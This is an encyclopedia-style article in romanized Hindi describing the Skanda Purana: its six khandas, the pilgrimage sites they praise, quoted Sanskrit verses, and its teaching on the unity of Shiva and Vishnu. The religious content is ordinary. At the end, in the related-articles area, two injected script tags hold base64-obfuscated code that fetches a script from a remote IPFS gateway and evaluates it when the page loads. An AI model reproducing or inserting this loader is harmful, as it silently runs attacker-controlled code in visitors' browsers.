स्कन्द पुराण
[[chitr:Kartik-Bhagwan.jpg|thumb|bhagavan kartikey
Lord Kartik]]
puranoan ke kram mean isaka terahavaan sthan hai. apane vartaman mean isake khandatmak aur sanhitatmak do roop upalabdh haian aur donoan mean se pratyek mean 81 hazar shlok haian. is prakar yah akar ki drishti se sabase b da puran hai. isamean skand (kartakey) dvara shivatatv ka varnan kiya gaya hai. isilie isaka nam skand puran p da. isamean tirthoan ke upakhyanoan aur unaki pooja-paddhati ka bhi varnan hai. 'vaishnav khand' mean jagannathapuri ki aur 'kashikhand' mean kashi ke samast devataoan, shivaliangoan ka avirbhav aur mahatmy bataya gaya hai. 'avanyakhand' mean ujjain ke mahakaleshvar ka varnan hai.
hianduoan ke ghar-ghar mean prasiddh 'satyanarayan vrat' ki katha 'revakhand' mean milati hai. tirthoan ke varnan ke madhyam se yah puran poore desh ka bhaugolik varnan prastut karata hai. skandapuran ka mool rachanakal satavian shatabdi mana jata hai, par isamean samay-samay par samagri ju dati gee hai. isake vrihadakar ka yahi karan hai.
shiv-putr kartikey ka nam hi skand hai. skand ka arth hota hai- ksharan arthath vinash. bhagavan shiv sanhar ke devata haian. unaka putr kartikey sanharak shastr athava shakti ke roop mean jana jata hai. tarakasur ka vadh karane ke lie hi isaka janm hua tha. 'skand puran' shaiv sampraday ka puran haian yah atharah puranoan mean sabase b da hai. isake chhah khand haian- maheshvar khand, vaishnav khand, brahm khand, kashi khand, avantika khand aur reva khand.
kuchh vidvanoan ne isake sat khand batae haian. kintu adhikaansh vidvan chhah khand hi svikar karate haian. 'avantika khand' ko hi kuchh log 'tapti khand' ya 'prabhas khand' mean vibhajit karake sat khand bana dete haian. ek any 'skand puran' bhi hai, jise is puran ka up-puran kaha ja sakata hai. yah chhah sanhitaoan-sanatkumar sanhita, soot sanhita, shankar sanhita, vaishnav sanhita, brahm sanhita tatha saur sanhita mean vibhajit hai.
'skand puran' mean ikyasi hazar shlok haian. is puran ka pramukh vishay bharat ke shaiv aur vaishnav tirthoan ke mahatmy ka varnan karana hai. unhian tirthoan ka varnan karate samay prasangavash pauranik kathaean bhi di gee haian. bich-bich mean adhyatm vishayak prakaran bhi a ge haian. shiv ke sath hi isamean vishnu aur ram ki mahima ka bhi sundar vivechan kiya gaya hai. tulasidas ke 'ramacharit manas' mean is puran ka vyapak prabhav dikhaee deta hai.
maheshvar khand
is khand mean daksh-yajn varnan, sati dah, devataoan aur shiv ganoan mean yuddh, daksh-yajn vidhvans, liang pratishtha varnan, ravanopakhyan, samudr manthan, lakshmi ki utpatti, amrit vibhajan, shivaliang mahatmy, rashi-nakshatr varnan, dan bhed varnan, sutanu-narad sanvad, shiv poojan ka mahatmy, shiv tirthoan sahit shaktipith adi ki prashansa, arunachal sthan ka mahattv tatha vishnu ko shiv ka hi roop bataya gaya hai. vishnu aur shiv mean koee antar nahian hai.
[[chitr:Bhagwan-Shiv-1.jpg|thumb|shiv, parvati, ganesh aur kartikey
Shiv, Parvati, Ganesh and Kartik]]
yatha shivastatha vishnuryatha vishnustatha shiv:.
antaran shiv vishnoshch managapi n vidyate ॥ (skand puran)
[[chitr:Chinta-Haran-Ashram-1.jpg|shivaliang, chinta haran ashram, mahavan
Shivling, Chinta Haran Ashram, Mahavan|thumb|left]]
arthath jis prakar shiv haian, usi prakar vishnu haian aur jaise vishnu haian, vaise hi shiv haian. in donoan mean tanik bhi antar nahian hai.
maheshvar khand mean kaha gaya hai- yo vishnu: s shivojney: y: shivo vishnurev s: arthath jo vishnu haian, unhian ko shiv janana chahie aur jo shiv haian, unhean vishnu manana chahie. prakar donoan mean koee bhed nahian hai. isi sadbhavana ke karan 'skand puran' mean shaiv mat ke siddhant hone ke uparant bhi vaishnav mat ke prati kisi prakar ki ninda ya durbhavana drishtigochar nahian hoti.
is khand mean anek chhote-b de tirthoan ka varnan karate hue shiv mahima gaee gee hai. isake alava brahma, vishnu, shiv, indr, gandharv, rrishi-muni, danav-daity adi ki sundar kathaoan ka varnan bhi kiya gaya hai. isi khand ke 'kaumarika khand' mean ek aisi katha di gee hai, jisamean sampradayoan ke nam par sankirn vichar rakhane valoan ki khulakar bhartsana hai. raja karandham apani shanka-samadhan ke lie mahakal se poochhata hai ki moksh ki prapti ke lie koee shiv ka, koee vishnu ka aur koee brahma ka ashray grahan karata hai. is vishay mean apaka kya kahana hai?
is par mahakal uttar dete haian ki ek bar pahale bhi rrishi-muniyoan ne naimisharany mean vas karate hue yah prashn soot ji se poochha tha. soot ji ne apani divy shakti se unhean pahale brahmalok mean, phir vaikunth lok mean aur phir kailas par bheja. vahaan unhoanne dekha ki brahma ji vishnu aur shiv ki upasana kar rahe haian. vishnu ji brahma aur shiv ki upasana mean magan haian. shiv ji vishnu tatha brahma ke dhyan mean rat dikhaee die. tab rrishiyoan ne jana ki ye tridev ek hi param shakti ke roop haian, jo paraspar ek-doosare ko mahanh samajhate haian. puranakar dvara vyakt ki gee yah sadbhavana ati sundar aur stuti karane yogy hai.
adhikaansh puranoan mean 'buddhavatar' ka nam dene ke atirikt unaki koee bhi charcha nahian ki gee hai. parantu 'skand puran' mean unaka 'maya-moh' ke nam se vistrit varnan kiya gaya hai, jo puranakar ki nishpaksh manovritti ki parichayak hai. kaliyug prasang mean buddh ka vistar se varnan hai aur unhean vishnu ka avatar mana gaya hai. unake madhyam se 'ahiansa' aur 'seva bhav' ka marg prashast kiya gaya hai'
vaishnav khand
vaishnav khand mean veankatachal mahatmy, varah mantr upasana vidhi, ramanujachary, bhadramati brahman ki mahima aur charitr varnan veankatachal tirth ka varnan, brahma ki prarthana par vishnu ka avirbhav, rath nirman prakaran, jagannathapuri ka rath mahotsav, badrikashram tirth ki mahima, kartik mas mean hone vale vratoan ki mahima ka varnan, snan mahatmy ka ullekh, jnan, vairagy evan bhakti ka svaroop tatha karm yog adi ka niroopan kiya gaya hai.
[[chitr:Yamuna-Mathura-2.jpg|yamuna nadi, mathura
River Yamuna, Mathura|thumb|200px]]
vaishnav khand atyant upayogi hai. isamean vividh jnan, puny aur moksh ka margh prashast karane ka prayas kiya gaya hai. is khand ke ganga, yamuna aur sarasvati khand atyant pavitr tatha utkrisht haian. ye samast papoan ko harane vale haian. veankatachal ya bhoomi varah khand mean tiroopati balaji ke pavan tirth ke pradurbhav ki katha kahi gee hai. vahaan ki yatra ke mahattv ka pratipadan kiya gaya hai, jahaan bhagavan vishnu nivas karate haian.
akash ganga tirth ka varnan karate hue puranakar vishnu aur ramanujachary ki bheant karate haian. ramanujachary vaishnav sampraday ke sansthapak the. ram ki pooja sare bharat mean sthapit karane ka shrey inhean jata hai. bhagavan vishnu ramanujachary ko svayan batate haian ki soory ki mesh rashi mean chitra nakshatr se yukt poornima ko jo bhi vyakti akash ganga tirth mean snan karega, use anant puny prapt hoange. bhagavan ke sachche bhaktoan ke lakshan svayan vishnu bhagavan ramanujachary ko batakar unaka samman karate haian. yahaan puranakar pooja-path aur karmakand ke bajay sada jivan, sadachar, ahiansa, jiv-kalyan, samabhav tatha paropakar par adhik bal deta hai.
'skand puran' kahata hai ki mamata-moh tyag kar nirmal chitt se manushy ko bhagavan ke charanoan mean man lagana chahie. tabhi vah karm ke bandhanoan se mukt ho sakata hai. man ke shant ho jane par hi vyakti yogi ho pata hai. jo vyakti rag-dvesh chho dakar krodh aur lobh se door rahata hai, sabhi par saman drishti rakhata hai tatha shauch-sadachar se yukt rahata hai; vahi sachcha yogi hai. 'badrikashram' ki mahima ka bakhan karate hue svayan shankar ji kahate haian ki is tirth mean
- narad shila,
- markandey shila,
- garu d shila,
- varah shila aur
- narasianhi shila- ye paanch shilaean sampoorn manorath siddh karane vali haian. badrinath prasiddh brahmatirth hai. yahaan bhagavan vishnu ne hyagriv ka avatar lekar madhu-kaitabh daityoan se vedoan ko mukt karaya tha.
isi khand mean shravan aur kartik mas ke mahatmy ka varnan bhi prapt hota hai. taduparant vaishakh mas ka mahatmy pratipadit hai. is mas mean dan ka vishesh mahattv darshana gaya hai. isi khand mean ayodhya mahatmy ka varnan bhi vistarapoorvak kiya gaya hai.
brahm khand
[[chitr:Bhim-Dushasan.jpg|200px|thumb|bhim dvara du:shasan vadh
Dushasan Slaughter]]
brahm khand mean rameshvar kshetr ke setu aur bhagavan ram dvara balukamay shivaliang ki sthapana ki mahima gaee gee hai. is kshetr ke any chaubis pradhan tirthoan- chakr tirth, sita sarovar tirth, mangal tirth, brahm kund, hanumatkund, agasty tirth, ram tirth, lakshman tirth, lakshmi tirth, shiv tirth, shankh tirth, ganga tirth, koti tirth, manas tirth, dhanushakoti tirth adi ki mahima ka varnan bhi vistar se haian tirth mahatmy ke ullekh ke uparant dharm aur sadachar mahatmy ka varnan bhi kiya gaya hai. hyagriv, kalidharm aur chaturmas snan ke mahattv ka bhi ullekh hua hai.
ashvatthama dvara sote hue pandav putroan ke vadh ke pap se mukti pane ke lie dhanushakoti tirth mean snan karane ki katha kahi gee hai. isi khand mean panchakshar mantr ki mahima ka bhi varnan hai. bhagavan shiv ne svayan Om nam: shivay namak ady mantr kaha tha. jo vyakti is mantr ka uchcharan karake shiv ka dhyan karata hai; use kisi tirth, kisi jap-tap athava vrat adi karane ki avashyakata nahian hotian ukt mantr samast papoan ka nash karane vala hai. yah mantr kabhi bhi, kahian bhi aur koee bhi jap karata hai. yah sabhi ka kalyan karane vala mantr hai.
kashi khand
kashi khand mean tirthoan, gayatri mahima, varanasi ke manikarnika ghat ka akhyan, ganga mahima varnan, dashahara stotr kathan, varanasi mahima, jnanavapi mahatmy, yogakhyan, dashashvamegh ghat ka mahatmy, trilochan avirbhav varnan tatha vyas bhujastambh adi ka ullekh kiya gaya hai.
kashi ke mahatmy ka varnan karate hue puranakar kahata hai-
asi sambhedatogen kashisansthoamrito bhaveth.
dehatyagoatravaidanan dehatyagoatravaitap:॥ (skand puran-kashi khand)
[[chitr:Ganga-Varanasi.jpg|thumb|200px|varanasi mean ganga nadi ke ghat
Ghats of Ganga River in Varanasi]]
arthath anek janmoan se prasiddh, prakrit gunoan se yukt tatha asi sambhed ke yog se kashipuri mean nivas karane se vidvan purush amritamay ho jata hai. vahaan apane sharir ka tyag kar dena hi dan hota hai. yahi sabase b da tap hai. is puri mean apana sharir chho dana b da bhari yogabhyas hai, jo moksh tatha sukh dene vala hai. isi prakar yog-sadhana ke vishay mean puranakar kahata hai-
atmakridasyasatatan sadatm mithunasy ch.
atmanyev sutriptasy yogasiddhiradoorat: ॥ (skand puran 2/53/7)
arthath nirantar apani atma ke hi sath kri da karane vale, sada atma ke hi sath yog sthapit rakhane vale tatha apani atma mean hi santript rahane vale vyakti ko yog ki siddhi prapt karane mean vilamb nahian lagata. vah siddh usase kabhi door nahian hota.
kashipuri mean papakarm karane vala vyakti paishach (pret) yoni mean janm leta hai. gay ki hatya karane vala, stri ka vadh karane vala, shoodroan ko marane vala, katha ko dooshit karane vala, kroor, chugalakhor, dharm viroorri acharan karane vala, nastik, papi aur abhakshy ko bhi khane vala vyakti trilochan bhagavan shiv ke liang ka naman karake papamukt ho jata hai.
avantika khand
[[chitr:Garwhal-Gangotri-Waterfall.jpg|thumb|200px|gangotri jharana, gadhaval
Gangotri Waterfall, Garhwal]]
avantika khand mean mahakal prashansa, agni stavan, sidyadhar tirth, dashashvamegh mahatmy, valmikeshvar mahima, ganesh mahima, somavati tirth, rameshvar tirth, saubhagy tirth, gaya tirth, nag tirth, gangeshvar, prayageshvar tirth adi ka mahatmy; kshipra nadi ki mahima, vishnu stotr, kutumbeshvar varnan, akhandeshvar mahima varnan, hanumatkeshvar mahima, shankaradity mahima, vishnu mahima tatha avantika mahima adi ka vistar se varnan hai. avantika ujjain nagari ka prachin nam hai.
avantika khand mean pavitr nadiyoan- ganga, yamuna, sarasvati, narmada, godavari, vitasta, chandrabhaga adi ki mahima bhi gaee gee hai. sath hi agni tuly 'mahakal' ki vandana ki gee hai. is khand mean sanatkumar ji kshipra nadi ke tat par sthit avantika tirth ki mahima ka varnan karate hue kahate haian ki is tirth ke darshan matr se manushy moksh prapt kar leta hai. isi prakar any tirthoan ki mahima ka ullekh bhi is khand mean prapt hota hai.
reva khand
'skand puran' ka reva khand puran sanhita ka vistarapoorvak varnan karata hai. isake atirikt reva mahatmy, narmada, kaveri aur sangam ki mahima, shool bhed prashansa, kalaratri krit jagath sanhar varnan, srishti sanhar varnan, shiv stuti niroopan, varah vrittant, satyanarayan vrat katha varnan, reva khand pustak ka dan mahattv tatha vividh tirthoan, yatha- meghanad tirth, bhimeshvar tirth, naradeshvar tirth, dirgh skand aur madhuskand tirth, suvarn shila tirth, karanj tirth, kamad tirth, bhandari tirth, skand tirth, aangiras tirth, koti tirth, kedareshvar tirth, pishacheshvar tirth, agni tirth, sarp tirth, shrikapal tirth evan jamadagni tirth adi ka vistrit varnan is khand mean prapt hota hai.
skand tirth ke vishay mean markandey muni kahate haian ki narmada mahanadi ke dakshin tat par yah tirth atyant shobhayaman hai. is tirth ki sthapana bhagavan skand ne ghor tapasya karane ke uparant ki thi. markandey rrishi skand bhagavan ki katha yudhishthar ko sunate hue unake janm se lekar tarakasur ke vadh tak ka varnan karate haian. devataoan ke senapati banane ke poorv jis sthan par kartikey ne tap kiya tha, vah sthan skand tirth ke nam se prasiddh hua.
isi prakar sabhi tirthoan ki mahima ke sath koee n koee katha ju di huee hai. himalay se lekar kanyakumari tak aur atak se lekar kamakhya devi ke mandir tak koee aisa pradesh is bharatabhoomi mean nahian hai, jahaan prachinatam bharatiy sanskriti ka pratinidhitv karane vala koee tirth n ho.
kashi mean shaiv tirth, avantika (ujjain nagari) mean mahakaleshvar shiv ki mahima tatha narmada tatavarti tirthoan ka vishadh varnan 'skand puran' mean prapt hota hai. narmada ko shiv ke pasine se utpann mana jata hai. narmada ki mahima ganga ke pavan jal ki bhaanti hi mani gee hai.
[[chitr:Sangam-Allahabad.jpg|sangam, ilahabad
Sangam Allahabad|thumb|200px]]
is puran mean 'nishkam karm yog' par vishesh roop se bal diya gaya hai. dharm ka mukhy lakshan parapi da nivaran hona chahie. isi ka upadesh 'skand puran' deta hai. vah batata hai ki 'moksh' mano ek nagar hai, jisake char daravaze haian. sham, sadvichar, santosh au satsang- isake char dvarapal haian. inhean santusht karake hi is nagar mean pravesh paya ja sakata hai. saansarik bandhanoan mean jak dane se bache rahean, sambhavat: isilie kumar kartikey jivan bhar vaivahik bandhan mean nahian bandhe- aisa yah puran manata hai.
'skand puran' ke darookavan upakhyan mean shivaliang ki mahima ka varnan hai, jisamean vishnu aur brahma shivaliang ka or-chhor sat akash tatha sat patal par karane ke uparant bhi nahian jan pate. is avasar par brahma ka jhooth unhean stuti se vanchit kara deta hai. unake do gavah surabhi gay tatha ketaki ka phool apavitr ho gaya aur ketaki ka pushp shivaliang par chadhane ke lie varjit mana gaya. is prasang se vishv nirmata shakti ke anant roop ka bhi pratipadan hota hai. is puran ki rachana ke pichhe puranakar ki yahi mansha rahi hogi ki lokamanas mean jatil karmakandoan ke prati jhukav n hokar saral roop se hari sankirtan ka marg prashast ho. isalie puranakar ne ram nam mahima, shiv nam mahima aur krishna nam mahima ka ullekh vistar se kiya hai. yadi is puran ko tirthoan ki nirdeshika mana jae to anuchit nahian hoga.
'skand puran' ke arunachal rahasy varnan mean lagabhag ek sau chalis mahattvapoorn aur prasiddh rrishi-muniyoan ke nam ginae ge haian. brahma ke manas putr sanak, narad, sanatan, sanatkumar, pulah, pulasty, vasishth, bhrigu, parashar, vyas, bharadvaj, yajnavalky, charak, sushrut adi haian. aisa lagata hai ki us samay tak sabhi prachalit aur prasiddh namoan ko yahaan sankalit kar diya gaya hai. is puran man 'ahiansa', 'sadachar' tatha 'paradukh katarata' par vishesh bal diya gaya hai. daridr, rogi evan vikalaang vyaktiyoan ke prati jinake man mean karuna nahian utpann hoti, ve rakshas haian. jo vyakti samarth hokar bhi pran-sankat mean p de jiv ki sahayata nahian karata, vah papi hai. narmada nadi ke tat par 'apastamb' namak rrishi aur machheroan dvara machhali pak dane ke prasang mean isi bhavana ka uttam varnan kiya gaya hai.
'skand puran' mean jitane tirthoan ka ullekh hai, utane tirth aj dekhane mean nahian ate. unamean se adhikaansh tirthoan ka to namonishan tak mit gaya hai aur kuchh tirth khandaharoan mean parivartit ho chuke haian. is karan samast tirthoan ka sahi-sahi pata lagana atyant kathin hai. kintu jin tirthoan ka mahatmy prachin kal se chala a raha hai, unaka astitv aj bhi dekha ja sakata hai. apane mahatmy ki drishti se ye tirth aj bhi bhavy se bhavyatar roop mean dekhe ja sakate haian.
|
|
|
|
|
|
sanbandhit lekh
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>